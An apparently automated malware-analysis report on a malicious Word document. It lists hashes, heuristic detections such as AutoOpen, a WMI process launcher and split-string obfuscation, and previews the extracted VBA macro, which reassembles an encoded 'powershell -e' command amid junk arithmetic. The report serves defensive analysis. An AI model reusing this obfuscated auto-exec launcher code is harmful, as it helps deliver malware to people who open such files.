Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea740a021dffdad1…

MALICIOUS

Office (OLE)

229.0 KB Created: 2019-03-12 16:37:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b8ee953776c68cb3af32739f88e08d2b SHA-1: d1788bd11ddb7fe9a3cb3c1e86eca7e10965cccb SHA-256: ea740a021dffdad1a6fa6d7bd89fef4827366a6f73642c6cf7efe18c632f5b38
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1137.001 Software Deployment Tools: DLL Side-Loading

The sample contains a legacy WordBasic auto-exec marker and critical heuristics indicate the presence of VBA macros designed to execute code. Specifically, the 'OLE_VBA_WMI_PROCESS_CREATE' and 'OLE_VBA_SPLIT_KEYWORD_OBFUSCATION' firings highlight the use of WMI to launch processes, with the dangerous API name 'winmgmts' being reassembled from split string literals. This suggests the macro's intent is to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.00536d-6890773-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6890773-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50380 bytes
SHA-256: d4d7f8696d150d574883967fd27301ff5990b54a52ec3b370da6200a23ffe1b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "w1DkkUB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function Y1oGAAo()
   If jAAQADQ = mDQUACBU Then
hAAG4cx = 942258022 * CStr(999877763) / OB_DDQX - CBool(215560954 + HxAUXBGX) * 827730469 + Log(172956288 + CLng(JkUAUw))
VQCX_Q = (dAD_DQ / CByte(C1AkAAA1) - UAUAUc * Hex(401353414) - fDDAUQD - CStr(pXDGACAk - lGDADAUA / oUDoxAU - 970588656))
End If
   If GwAUBG = YwADAAZA Then
fBcAAk = 506080678 * CSng(981247166) / hAAAZB - Fix(890294396 + ioQAAZAQ) * 981211596 + Rnd(365372222 + Rnd(JXQ_GDAQ))
iXcAX1 = (CBoAGADA / CByte(hDQ4k_) - HABZBB * Tan(102452311) - QAZ1Zw - Hex(ZAAZDU - AA_GcDQG / GAQ1AA - 311089752))
End If
   If ODABAA = swAAADBA Then
k1cUox = 576440823 * CStr(614080862) / IAcw1QAc - Round(478457115 + n_DAA_) * 41353254 + Log(338407840 + Tan(NABoQA))
VckAAA = (CZoABQ / Log(zAAGAB) - oGA1kA * Atn(770300122) - pDAoAA - Atn(BAQ_UZZ - zUAoBB_B / lwDUADGQ - 693918944))
End If
   If w4kBBDc = a_UUAUA Then
SCcUUX = 726887701 * Round(832798264) / zAxUcA - Sgn(597511377 + FABDAw) * 996116483 + CByte(753947152 + CBool(vAAwAGU))
KABxAAw = (mU_GkAA / Sgn(tAAUAAXB) - pBA4UA * Cos(56029085) - WCXxQZ - CSng(JwkBABB - UQ_DBADk / jAAADwGA - 870107092))
End If
   If jokQAAA = Yw4oUA Then
jAUAUAA = 840332946 * Sgn(538840632) / vQkBA1D - Rnd(777781242 + S4ADDDBA) * 50704142 + CBool(875035218 + CDbl(h_A4wAUU))
lDoADUB = (BAZA1BX / CStr(dDZwAA) - BAAAAQA * Fix(850266813) - KQA_oZwU - Oct(JZAA1A - AZUAAUD / YCZDAAQ - 984884551))
End If
   If iAwAxAAQ = GkAAQA Then
kGBAUk = 567355659 * Sin(507035457) / pAA_Ao1 - Sin(257288336 + cAGAUA) * 562543108 + CSng(384674219 + CDbl(vkAAQw))
BDAQX1U = (iABc1DA / CLng(AAQkQXA) - kDAGBBo * Hex(227143812) - BCDXAA - CDate(a1AxAw - FoAQck / BBccAADA - 937386420))
End If
   If QxxxXX = kABC_k Then
rBDQ_Q = 231823821 * CDbl(610841299) / KDCXx4 - CDate(651687666 + ADxAQo) * 877966216 + Oct(544004061 + CStr(ckAwAAw1))
bQUZxxB1 = (L1AkAAA / Rnd(uBwAoCDA) - WQAxA_ * CDbl(212252900) - RQABAxQ - Tan(RBAAAZAw - cQAACcDA / zAAoAA - 256349543))
End If
End Function
Sub autoopen()
On Error Resume Next
   If KDAAAc = uDAAcAC Then
NAQAAAcA = 234288915 * Hex(361061259) / VCxD1ZAA - Fix(803472525 + VkA1ko) * 255548387 + Log(502512552 + Oct(NQ4A_UG))
bAcGZk = (jQxoAQA / Fix(TAoAcBc) - KA_ADw * Sin(785949560) - iA_CAUZB - Rnd(jXcQQAx - uQQcQDC / tGADAAwC - 214939608))
End If
   If QXADAxXx = VQXZ41X Then
K_QAA_UB = 41115166 * CInt(807273679) / PAA4CU - CSng(546687147 + LUB4_AoX) * 114301216 + Int(88767853 + Int(R41QQAAA))
Ko1kQ_ = (uAoccQc / Int(WBAAUcD) - VAUZAA * Sin(771477359) - k1AAU1_ - CInt(oAAQAZQ - dwZoAA / FAUUBw - 917169361))
End If
oUAGAA (BA_A_ZU4 + "po" + tcACUcw + "wersh" + qDX4AX + "ell -e " + w_AZAXkD + zkU1QAQA + AAw_UBBk + iUwGBAZA + VAZoAUo + GQAAwAB + zAAAkB4)
   If XAGQAk = rAXoBA Then
QUDBDAU = 558589569 * Int(621265939) / ucCQDBAx - Round(959927164 + cwkUDA) * 112018662 + Cos(610897042 + Atn(UGAAAU))
wkADA4AA = (PAAAXAAB / CDate(PAAxoUZA) - RAAXAk * Round(227747503) - aAAA11DG - CByte(u1XCQQQ - aADcxkZk / oDCcxCo - 843208713))
End If
   If LAU4BX = AGAxAB4G Then
XAQDUB = 87700618 * Log(925002808) / DAXABQ - Rnd(256462790 + PAA_oGA) * 4400132 + Tan(285272501 + Sin(lQoA4AZB))
aAGGADZA = (PBAGBUAA / Atn(rA_G4QAB) - OUD_Qx * CSng(49310002) - iCDk_Q - Sqr(KQo1BA - kAxADA / wUAABoBG - 505587843))
End If
   If b4ZkQx_ = kcBAkG Then
wDAAAx = 443231707 * CBool(274915812) / Co_AAZ - Sin(144524767 + sDBxAUG) * 187899723 + CLng(796756832 + Sin(b4AABDQC))
CBBUADA = (EQAAQAUA / Round(iAAAcA) - IXXCXAAA * CSng(233567503) - TACQAo - Oct(RDXAAA - oUZoAxD / ckBcAUA - 677040445))
End If
End Sub
Function YUckAD()
   If nA4D_AU = zABBQAGA Then
PAADoAB = 805751796 * CByte(441889563) / TkB4DcA - CByte(762995728 + QkoQUDx) * 830757857 + CInt(447083414 + CBool(mACkUcUA))
wQXBxcc = (tcBDcXAQ / CLng(cccxGAG) - TxDAUBU * CBool(582982693) - iDAD
... (truncated)